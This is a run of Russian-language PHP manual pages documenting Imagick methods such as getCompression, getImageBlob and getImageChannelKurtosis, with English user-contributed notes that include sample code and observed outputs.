Размывает изображение. Сворачивает изображение с помощью гауссовского оператора заданного радиуса и стандартного отклонения (sigma). Для получения приемлемых результатов radius должен быть больше sigma. При использовании значения radius, равного 0, метод выберет подходящий радиус.

Список параметров

radius

Радиус в пикселях, не считая центрального пикселя.

sigma

Стандартное отклонение в пикселях.

channel

Укажите любую константу CHANNEL, которая подходит для вашего режима канала. Для применения более чем к одному каналу объедините константы типа CHANNEL с помощью побитовых операторов. Обратитесь к этому списку констант CHANNEL.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::gaussianBlurImage()

<?php
function gaussianBlurImage($imagePath, $radius, $sigma, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->gaussianBlurImage($radius, $sigma, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цветовую палитру

  • « Imagick::gaussianBlurImage
  • Imagick::getCompression »
  • PHP Manual
  • Imagick
  • Возвращает цветовую палитру

Imagick::getColorspace

(PECL imagick 3)

Imagick::getColorspace — Возвращает цветовую палитру

Описание

public Imagick::getColorspace(): int

Возвращает значение глобальной цветовой палитры. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.5.7 или старше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число, которое можно сравнить с константами COLORSPACE.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает тип сжатия объекта

  • « Imagick::getColorspace
  • Imagick::getCompressionQuality »
  • PHP Manual
  • Imagick
  • Возвращает тип сжатия объекта

Imagick::getCompression

(PECL imagick 2, PECL imagick 3)

Imagick::getCompression — Возвращает тип сжатия объекта

Описание

public Imagick::getCompression(): int

Возвращает тип сжатия объекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает константу сжатия

User Contributed Notes

holdoffhunger at gmail dot com 16-May-2012 11:11
The ImageMagick PHP function for getCompression returns an integer representing the value associated with the ImageMagick Compression constant.  You'll get numbers from 0 to 13, each representing a different particular type of compression.  If printed out, the ImageMagick constants for compression come out as...

imagick::COMPRESSION_UNDEFINED    0
imagick::COMPRESSION_NO    1
imagick::COMPRESSION_BZIP    2
imagick::COMPRESSION_DXT1    3
imagick::COMPRESSION_DXT3    4
imagick::COMPRESSION_DXT5    5
imagick::COMPRESSION_FAX    6
imagick::COMPRESSION_GROUP4    7
imagick::COMPRESSION_JPEG    8
imagick::COMPRESSION_JPEG2000    9
imagick::COMPRESSION_LOSSLESSJPEG    10
imagick::COMPRESSION_LZW    11
imagick::COMPRESSION_RLE    12
imagick::COMPRESSION_ZIP    13

Every time I have used this, whether on a jpeg image, a png image, a gif image, or a bmp image, it has always returned '0' as a value.  There's a good chance that this is simply a value that is set by means of get/set, as opposed to actually producing values for a given image.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Range
        // ---------------------------------------------

    $imagick_type_compression = $imagick_type->getCompression();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print($imagick_type_compression);
    print("</pre>");

?>


Возвращает качество сжатия объекта

  • « Imagick::getCompression
  • Imagick::getCopyright »
  • PHP Manual
  • Imagick
  • Возвращает качество сжатия объекта

Imagick::getCompressionQuality

(PECL imagick 2, PECL imagick 3)

Imagick::getCompressionQuality — Возвращает качество сжатия объекта

Описание

public Imagick::getCompressionQuality(): int

Возвращает качество сжатия объекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает число, означающее качество сжатия

User Contributed Notes

There are no user contributed notes for this page.


Возвращает копирайт API ImageMagick в виде строки

  • « Imagick::getCompressionQuality
  • Imagick::getFilename »
  • PHP Manual
  • Imagick
  • Возвращает копирайт API ImageMagick в виде строки

Imagick::getCopyright

(PECL imagick 2, PECL imagick 3)

Imagick::getCopyright — Возвращает копирайт API ImageMagick в виде строки

Описание

public static Imagick::getCopyright(): string

Возвращает копирайт API ImageMagick в виде строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку содержащую копирайт Imagemagick и Magickwand C API.

User Contributed Notes

There are no user contributed notes for this page.


Имя файла результирующего изображения

  • « Imagick::getCopyright
  • Imagick::getFont »
  • PHP Manual
  • Imagick
  • Имя файла результирующего изображения

Imagick::getFilename

(PECL imagick 2, PECL imagick 3)

Imagick::getFilename — Имя файла результирующего изображения

Описание

public Imagick::getFilename(): string

Возвращает имя файла, связанное с результирующим изображением.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку в случае успешного выполнения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

SkepticaLee 18-Nov-2015 04:10
This function is obviously deprecated as it only returns a zero-length string. The file name (with complete path) is returned by getImageFilename () instead.


Возвращает название шрифта

  • « Imagick::getFilename
  • Imagick::getFormat »
  • PHP Manual
  • Imagick
  • Возвращает название шрифта

Imagick::getFont

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::getFont — Возвращает название шрифта

Описание

public Imagick::getFont(): string

Возвращает значение шрифта объекта. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.7 или старше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, содержащую название шрифта или false, если шрифт не установлен.

Смотрите также

  • Imagick::setFont() - Устанавливает шрифт
  • ImagickDraw::setFont() - Устанавливает указанный шрифт для использования при аннотировании текстом
  • ImagickDraw::getFont() - Возвращает шрифт

User Contributed Notes

There are no user contributed notes for this page.


Возвращает формат Imagick объекта

  • « Imagick::getFont
  • Imagick::getGravity »
  • PHP Manual
  • Imagick
  • Возвращает формат Imagick объекта

Imagick::getFormat

(PECL imagick 2, PECL imagick 3)

Imagick::getFormat — Возвращает формат Imagick объекта

Описание

public Imagick::getFormat(): string

Возвращает формат Imagick объекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает формат изображения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

Test 01-May-2019 01:08
This example doesn't work for the files that have been incorrectly saved or corrupted and have (jpg extension but the image is png)
holdoffhunger at gmail dot com 17-May-2012 11:02
The getFormat function merely returns the value of the image format, which is not automatically loaded when you read an image.  The value you're getting back, then, is merely the value that you set the format to using the setFormat function.  That function takes pretty much any string that matches a popular or well-known image filename.  It accepts "jpeg" and "gif", but errors out on anything that is not an image filename, like "xyz123" or "zip".  How do you know what filetypes you can enter?  Use the PHP ImageMagick function 'queryFormats'.  If you want to know what type of file you have, you should try using the PHP page for the function 'filetype'.  Or, on the other hand, you can use the ImageMagick function getImageFormat (as opposed to the ImageMagick function getFormat).  The difference is that getImageFormat actually returns the format of the inputted image.

And now, a simple demonstration of the set/get activity in the Format :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Set/Get Format
        // ---------------------------------------------

    $imagick_type->setFormat("bmp");
    $imagick_type_format = $imagick_type->getFormat();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print($imagick_type_format);
    print("</pre>");

?>


Возвращает значение гравитации (притяжения)

  • « Imagick::getFormat
  • Imagick::getHomeURL »
  • PHP Manual
  • Imagick
  • Возвращает значение гравитации (притяжения)

Imagick::getGravity

(PECL imagick 2, PECL imagick 3)

Imagick::getGravity — Возвращает значение гравитации (притяжения)

Описание

public Imagick::getGravity(): int

Возвращает глобальное значение гравитации объекта Imagick. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.4.0 или старше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает значение гравитации. Смотрите список констант гравитации.

User Contributed Notes

Ahmad 10-May-2023 10:50
GRAVITY_NORTHWEST: 1
GRAVITY_NORTH: 2
GRAVITY_NORTHEAST: 3
GRAVITY_WEST: 4
GRAVITY_CENTER: 5
GRAVITY_EAST: 6
GRAVITY_SOUTHWEST: 7
GRAVITY_SOUTH: 8
GRAVITY_SOUTHEAST: 9

Default is: 0


Возвращает домашний URL библиотеки ImageMagick

  • « Imagick::getGravity
  • Imagick::getImage »
  • PHP Manual
  • Imagick
  • Возвращает домашний URL библиотеки ImageMagick

Imagick::getHomeURL

(PECL imagick 2, PECL imagick 3)

Imagick::getHomeURL — Возвращает домашний URL библиотеки ImageMagick

Описание

public static Imagick::getHomeURL(): string

Возвращает домашний URL библиотеки ImageMagick.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ссылку домашней страницы imagemagick.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает новый объект Imagick

  • « Imagick::getHomeURL
  • Imagick::getImageAlphaChannel »
  • PHP Manual
  • Imagick
  • Возвращает новый объект Imagick

Imagick::getImage

(PECL imagick 2, PECL imagick 3)

Imagick::getImage — Возвращает новый объект Imagick

Описание

public Imagick::getImage(): Imagick

Возвращает новый объект Imagick с текущей последовательностью изображений.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает новый объект Imagick с текущей последовательностью изображений.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

Abe 06-May-2021 12:56
<?php

// Create a new imagick object
$imagick = new Imagick();

// Read the image
$pngfn='myfile.png';
$imagick->readImage($pngfn);

// Display the image
header("Content-Type: image/png");
echo $imagick->getImageBlob();
?>


Проверяет, есть ли у изображения альфа-канал

  • « Imagick::getImage
  • Imagick::getImageArtifact »
  • PHP Manual
  • Imagick
  • Проверяет, есть ли у изображения альфа-канал

Imagick::getImageAlphaChannel

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageAlphaChannel — Проверяет, есть ли у изображения альфа-канал

Описание

public Imagick::getImageAlphaChannel(): bool

Возвращает, есть ли у изображения альфа-канал.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если у изображения есть альфа-канал и false, если нет, т.е. изображение RGB, а не RGBA или CMYK, а не CMYKA.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Список изменений

Версия | Описание
imagick 3.6.0 | Теперь возвращает логическое значение (bool); ранее возвращалось целое число (int).

User Contributed Notes

phroggar 17-Feb-2022 08:54
You want to check wether an image has an alpha channel? But you have no control which Imagick Version is used?

Background:

Method available since ImageMagick 6.4.0
Method returns boolean instead of int since 6.9.x

Example:

$image= new Imagick();
$image->readImage($source_file);

$imageHasAlphaChannel = (method_exists($image, 'getImageAlphaChannel') && ($document->getImageAlphaChannel() === \Imagick::ALPHACHANNEL_ACTIVATE || $document->getImageAlphaChannel()  === true));


Возвращает артефакт изображения

  • « Imagick::getImageAlphaChannel
  • Imagick::getImageAttribute »
  • PHP Manual
  • Imagick
  • Возвращает артефакт изображения

Imagick::getImageArtifact

(PECL imagick 3)

Imagick::getImageArtifact — Возвращает артефакт изображения

Описание

public Imagick::getImageArtifact(string $artifact): string

Возвращает артефакт, связанный с изображением. Разница между свойствами изображения и артефактами изображения заключается в том, что свойства являются общедоступными, а артефакты - закрытыми.

Список параметров

artifact

Имя артефакта.

Возвращаемые значения

Возвращает значение артефакта в случае успешного выполнения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Смотрите также

  • Imagick::setImageArtifact() - Устанавливает артефакт изображения
  • Imagick::deleteImageArtifact() - Удаляет артефакт изображения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает именованный атрибут

  • « Imagick::getImageArtifact
  • Imagick::getImageBackgroundColor »
  • PHP Manual
  • Imagick
  • Возвращает именованный атрибут

Imagick::getImageAttribute

(PECL imagick 2, PECL imagick 3)

Imagick::getImageAttribute — Возвращает именованный атрибут

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::getImageAttribute(string $key): string

Возвращает именованный атрибут.

Список параметров

key

Ключ возвращаемого атрибута.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цвет фона изображения

  • « Imagick::getImageAttribute
  • Imagick::getImageBlob »
  • PHP Manual
  • Imagick
  • Возвращает цвет фона изображения

Imagick::getImageBackgroundColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImageBackgroundColor — Возвращает цвет фона изображения

Описание

public Imagick::getImageBackgroundColor(): ImagickPixel

Возвращает цвет фона изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ImagickPixel с установленным цветом фона изображения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последовательность изображений в виде BLOB

  • « Imagick::getImageBackgroundColor
  • Imagick::getImageBluePrimary »
  • PHP Manual
  • Imagick
  • Возвращает последовательность изображений в виде BLOB

Imagick::getImageBlob

(PECL imagick 2, PECL imagick 3)

Imagick::getImageBlob — Возвращает последовательность изображений в виде BLOB

Описание

public Imagick::getImageBlob(): string

Реализует форматы изображений напрямую в память. Возвращает последовательность изображений в виде строки. Формат изображения определяет формат возвращаемого BLOB-объекта (GIF, JPEG, PNG и т.д.). Чтобы вернуть другой формат изображения, используйте Imagick::setImageFormat().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, содержащую изображение.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

jim at jimohalloran dot com 30-Jul-2021 06:00
Further to Trevor's note above about getImageBlob potentially returning an empty string for large images.

This seems image format dependent.  I have a large (12046x8363) image which is returned ok.  But if I call setImageFormat('pdf') and then call getImageBlob() again.  Example:

<?php
// Image Manipulation here.
$pngData = $imagick->getImageBlob();  // Returns a large PNG.
$imagick->setImageFormat('pdf');
$pdfData = $imagick->getImageBlob(); // Returns empty string immediately
?>
Vee W 19-Apr-2016 06:29
For who want to show "animated" gif. This getImageBlob() will showing only one frame of image.
Use getImagesBlob() instead.

Example:

<?php
$Imagick = new \Imagick($real_source_image_path_animated_gif);
header("Content-Type: image/gif");
echo $Imagick->getImagesBlob();
?>
Trevor 01-Dec-2011 03:41
It seems that this method can return a zero-length string if faced with large-ish data.  No exceptions are thrown.

<?php
  $image = new Imagick();
  if (!$image->newImage(1000,1,'white')) throw new Exception();
  if (!$image->scaleImage(0,200)) throw new Exception();
  print "Image size: {$image->getImageWidth()},{$image->getImageHeight()}\n";
  if (!$image->setImageFormat("jpeg")) throw new Exception();
  $a = $image->getImageBlob();
  print "Rendered to ".strlen($a)." bytes\n";
?>

Restrict your output image size, or ensure that the blob you get back isn't empty.  (Note that IM seems to be doing the work, it delays for some time.  But there's no indication of any error anywhere.)


Возвращает основную точку синего цвета для изображения

  • « Imagick::getImageBlob
  • Imagick::getImageBorderColor »
  • PHP Manual
  • Imagick
  • Возвращает основную точку синего цвета для изображения

Imagick::getImageBluePrimary

(PECL imagick 2, PECL imagick 3)

Imagick::getImageBluePrimary — Возвращает основную точку синего цвета для изображения

Описание

public Imagick::getImageBluePrimary(): array

Возвращает основную точку синего цвета для изображения.

Список параметров

x

Цветность основной синей точки по оси x.

y

Цветность основной синей точки по оси y.

Возвращаемые значения

Массив, состоящий из координат точки "x" и "y".

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цвет рамки изображения

  • « Imagick::getImageBluePrimary
  • Imagick::getImageChannelDepth »
  • PHP Manual
  • Imagick
  • Возвращает цвет рамки изображения

Imagick::getImageBorderColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImageBorderColor — Возвращает цвет рамки изображения

Описание

public Imagick::getImageBorderColor(): ImagickPixel

Возвращает цвет рамки изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает глубину для определённого канала изображения

  • « Imagick::getImageBorderColor
  • Imagick::getImageChannelDistortion »
  • PHP Manual
  • Imagick
  • Возвращает глубину для определённого канала изображения

Imagick::getImageChannelDepth

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelDepth — Возвращает глубину для определённого канала изображения

Описание

public Imagick::getImageChannelDepth(int $channel): int

Возвращает глубину для определённого канала изображения.

Список параметров

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

holdoffhunger at gmail dot com 06-May-2012 11:48
For undocumented functions, this is a particular oddity.  For me, this function has so far returned only two values for any particular image: 1 and 8.  And, after experimenting with it about forty or fifty times, I think I understand how it works, based simply on my experience.

The value returned is the number of bits used for the particular color channel within an image.  That means how variable a particular color is within an image.  While I received 1 and 8, it could theoretically be as much as 16 or 32, depending on how the technology evolves over, say, the next decade or so.

To best understand this function, you should probably also understand the ImageMagick function getColorValue.  In terms of the ImageMagick class, a color can be measured between 0 and 1, in terms in of a particular pixel.  Red, Green, Blue, or, any particular color of any color scheme, can be something like 0.501960784314.  But, since each pixel is a combination of the three colors, you can have 0.845 for red, 0.254 for green, and 0.11 for blue.

How does this all tie in with the getChannelDepth function?  Easy.  If all of the pixels in an image are either values 1 or values 0 for the particular Red/Green/Blue values, then this function will return a 1 for 1 bits per pixel for that color channel.  If, however, any single pixel in the image for the inputted channel parameter isn't exactly 1 or 0 for the particular color channel, then this function will return an 8 for 8-bit colors per pixel for that color channel.

If you receive back a 1 for every single color channel put in the parameter, that means you're dealing with an image that's 16-bit -- you know, like those computer games published in 1982, or the Atari console games.  You won't ever forget a 16-bit color green, trust me.  If you get back an 8 for every single color channel put in the parameter, that means you're dealing with any standard, modern image.

You can input any color channel, based on the channel constants available within the ImageMagick class.  See them here: http://www.php.net/manual/en/imagick.constants.php#imagick.constants.channel .  That means a format like imagick::CHANNEL_UNDEFINED, but with the "_UNDEFINED" value being anything here: undefined, red, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.

For any image with one pixel color of RGB value 1 / 0.501960784314 / 0.501960784314 (#FF8080), you get this result:

Channel - 'Undefined' :        1
Channel - 'Red' :     1
Channel - 'Gray' :     1
Channel - 'Cyan' :     1
Channel - 'Green' :     8
Channel - 'Magenta' :     8
Channel - 'Blue' :     8
Channel - 'Yellow' :     8
Channel - 'Alpha' :     1
Channel - 'Opacity' :     1
Channel - 'Matte' :     1
Channel - 'Black' :     1
Channel - 'Index' :     1
Channel - 'All' :     8
Channel - 'Default' :     8

If all colors are between 0 and 1 with getColorValue function, each of these results with be 1.  If you're dealing with an image that has full color spectrum depth (almost any given photograph), you'll get 8 for red, gray, cyan, green, magenta, blue, yellow, all, and default, with a 1 for the other remaining channels.  Perhaps some use for automated image editing, like use with posterize or oilpaint functions.


Сравнивает каналы изображения с восстановленным изображением

  • « Imagick::getImageChannelDepth
  • Imagick::getImageChannelDistortions »
  • PHP Manual
  • Imagick
  • Сравнивает каналы изображения с восстановленным изображением

Imagick::getImageChannelDistortion

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelDistortion — Сравнивает каналы изображения с восстановленным изображением

Описание

public Imagick::getImageChannelDistortion(Imagick $reference, int $channel, int $metric): float

Сравнивает один или несколько каналов изображения с восстановленным изображением и возвращает указанный показатель искажения.

Список параметров

reference

Объект Imagick для сравнения.

channel

Укажите любую константу CHANNEL, которая подходит для вашего режима канала. Для применения более чем к одному каналу объедините константы типа CHANNEL с помощью побитовых операторов. Обратитесь к этому списку констант CHANNEL.

metric

Одна из констант типа METRIC.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает искажения канала

  • « Imagick::getImageChannelDistortion
  • Imagick::getImageChannelExtrema »
  • PHP Manual
  • Imagick
  • Возвращает искажения канала

Imagick::getImageChannelDistortions

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageChannelDistortions — Возвращает искажения канала

Описание

public Imagick::getImageChannelDistortions(Imagick $reference, int $metric, int $channel = Imagick::CHANNEL_DEFAULT): float

Сравнивает один или несколько каналов изображения с восстановленным изображением и возвращает указанный показатель искажения. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или старше.

Список параметров

reference

Объект Imagick, содержащий изображение, с которым производится сравнение.

metric

Обратитесь к этому списку констант типа METRIC.

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

Возвращает число с плавающей точкой (float), описывающее искажение канала.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает экстремумы для одного или нескольких каналов изображения

  • « Imagick::getImageChannelDistortions
  • Imagick::getImageChannelKurtosis »
  • PHP Manual
  • Imagick
  • Возвращает экстремумы для одного или нескольких каналов изображения

Imagick::getImageChannelExtrema

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelExtrema — Возвращает экстремумы для одного или нескольких каналов изображения

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::getImageChannelExtrema(int $channel): array

Получает экстремумы для одного или нескольких каналов изображения. Возвращаемое значение - ассоциативный массив с ключами "minima" и "maxima".

Список параметров

channel

Укажите любую константу CHANNEL, которая подходит для вашего режима канала. Для применения более чем к одному каналу объедините константы типа CHANNEL с помощью побитовых операторов. Обратитесь к этому списку констант CHANNEL.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает эксцесс и асимметрию определённого канала

  • « Imagick::getImageChannelExtrema
  • Imagick::getImageChannelMean »
  • PHP Manual
  • Imagick
  • Возвращает эксцесс и асимметрию определённого канала

Imagick::getImageChannelKurtosis

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageChannelKurtosis — Возвращает эксцесс и асимметрию определённого канала

Описание

public Imagick::getImageChannelKurtosis(int $channel = Imagick::CHANNEL_DEFAULT): array

Возвращает эксцесс и асимметрию определённого канала. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.4.9 или старше.

Список параметров

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

Возвращает массив с элементами kurtosis и skewness.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

holdoffhunger at gmail dot com 15-May-2012 11:52
The getImageChannelKurtosis function accepts as a parameter any of the ImageMagick channel constants and returns an array containing elements with the two element values of 'kurtosis' and 'skewness.'

For the inputted color values, you have the ImageMagick channel constant values that look like imagick::CHANNEL_UNDEFINED, with "_VALUE" values of: undefined, red, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.  This is for measuring the particular channel for these colors of their own associated colorspaces.

According to Wikipedia, the Kurtosis is "any measure of the 'peakedness' of the probability distribution of a real-valued random variable" and Skewness (its opposite) is "a measure of the asymmetry of the probability distribution of a real-valued random variable."  The more colors vary from the inputted channel constant, you'll be more likely to get a skewness close to zero, and you'll get the opposite behavior from checking the kurtosis value, which makes sense, since skewness and kurtosis are considered mathematical antonyms.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Range
        // ---------------------------------------------

    $imagick_type_channel_kurtosis_red = $imagick_type->getImageChannelKurtosis(imagick::CHANNEL_RED);

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print_r($imagick_type_channel_kurtosis_red);
    print("</pre>");

?>

The results for performing this function upon a photo of the ocean...

ImageMagick - Channel Kurtosis
  Channel - Undefined :

Kurtosis : 0
Skewness : 0

  Channel - Red :

Kurtosis : 0.920611158888
Skewness : 1.52701528976

  Channel - Gray :

Kurtosis : 0.920611158888
Skewness : 1.52701528976

  Channel - Cyan :

Kurtosis : 0.920611158888
Skewness : 1.52701528976

  Channel - Green :

Kurtosis : -0.286520845928
Skewness : 1.05203603783

  Channel - Magenta :

Kurtosis : -0.286520845928
Skewness : 1.05203603783

  Channel - Blue :

Kurtosis : -0.849997917796
Skewness : 0.807852655795

  Channel - Yellow :

Kurtosis : -0.849997917796
Skewness : 0.807852655795

  Channel - Alpha :

Kurtosis : 0
Skewness : 0

  Channel - Opacity :

Kurtosis : 0
Skewness : 0

  Channel - Matte :

Kurtosis : 0
Skewness : 0

  Channel - Black :

Kurtosis : 0
Skewness : 0

  Channel - Index :

Kurtosis : 0
Skewness : 0

  Channel - All :

Kurtosis : 0.509521246195
Skewness : 1.33491479552

  Channel - Default :

Kurtosis : -0.349955122843
Skewness : 1.00561407035


Возвращает среднее и стандартное отклонение

  • « Imagick::getImageChannelKurtosis
  • Imagick::getImageChannelRange »
  • PHP Manual
  • Imagick
  • Возвращает среднее и стандартное отклонение

Imagick::getImageChannelMean

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelMean — Возвращает среднее и стандартное отклонение

Описание

public Imagick::getImageChannelMean(int $channel): array

Возвращает среднее и стандартное отклонение одного или нескольких каналов изображения.

Список параметров

channel

Укажите любую константу CHANNEL, которая подходит для вашего режима канала. Для применения более чем к одному каналу объедините константы типа CHANNEL с помощью побитовых операторов. Обратитесь к этому списку констант CHANNEL.

Возвращаемые значения

Возвращает массив с элементами "mean" и "standardDeviation".

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает диапазон каналов

  • « Imagick::getImageChannelMean
  • Imagick::getImageChannelStatistics »
  • PHP Manual
  • Imagick
  • Возвращает диапазон каналов

Imagick::getImageChannelRange

(PECL imagick 2 >= 2.2.1, PECL imagick 3)

Imagick::getImageChannelRange — Возвращает диапазон каналов

Описание

public Imagick::getImageChannelRange(int $channel): array

Возвращает диапазон для одного или нескольких каналов изображения. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.4.0 или старше.

Список параметров

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

Возвращает массив, содержащий минимальные и максимальные значения канала(ов).

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

holdoffhunger at gmail dot com 07-May-2012 11:43
The getImageChannelRange returns an array with two values mapped to the keys 'minima' and 'maxima', which are simply the minimum and maximum values of that particular channel within the image that this function is performed upon.  For photographs and high-quality imagery, that means that you're almost always guaranteed to have the minima be at 0 and the maxima be at the maximum bit-value allowed.  For most images, that's 65,535, which is the value of 2^16 (if you start counting at 0), meaning 16-bits per Channel imagery.  This goes for all of the channels.

If an image is simple, though, you may be able to get a better variety of ranges.  An image that was simply a red square, the maxima and minima values for the Red Channel were both 65,535 (max), while the channels for the maxima and minima values for all other channels was 0 (min).  If you want to know the maximum values you might get back for any of the channels, feed this function the default channel.

For your normal channels, you'll have something that looks like "imagick::CHANNEL_RED", but you could have unusual channels like "imagick::CHANNEL_OPACITY".  For colors, you have the "_VALUE" options of: red, gray, cyan, green, magenta, blue, yellow, all, and default.  For unusual channels, you have the "_VALUE" options of: undefined, alpha, opacity, matte, black, and index.  With this function, the unusual channels always produce a minima of 1.0E+37 (10^37) and a maxima of -1.0E-37 (-10^-37), which makes no sense, so stick to the color values I pointed to above.

This function doesn't work for you?  No problem.  The function getImageChannelExtrema does the same *EXACT* thing.  The only difference is that the error you get on the unusual channels: their minima and maxima, instead of defaulting to crazy values, simply defaults to 0.

In general, this function seems to have the utility of telling you how simple an image might be -- if the difference between a channel maxima and minima is very small, that means there wasn't much expression of color for that given channel.  This will probably be able to tell you whether an image was drawn in some simple paint program or if it's an actual photograph, but beyond that, you'll have to do intensive programming to make it figure something out more complicated.

And now, an example of the results for some red-only image:

ImageMagick - Channel Range
Channel - 'Undefined' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Red' :     Minima: 65535     Maxima: 65535
Channel - 'Gray' :     Minima: 65535     Maxima: 65535
Channel - 'Cyan' :     Minima: 65535     Maxima: 65535
Channel - 'Green' :     Minima: 0     Maxima: 0
Channel - 'Magenta' :     Minima: 0     Maxima: 0
Channel - 'Blue' :     Minima: 0     Maxima: 0
Channel - 'Yellow' :     Minima: 0     Maxima: 0
Channel - 'Alpha' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Opacity' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Matte' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Black' :     Minima: 1.0E+37     Maxima: -1.0E-37
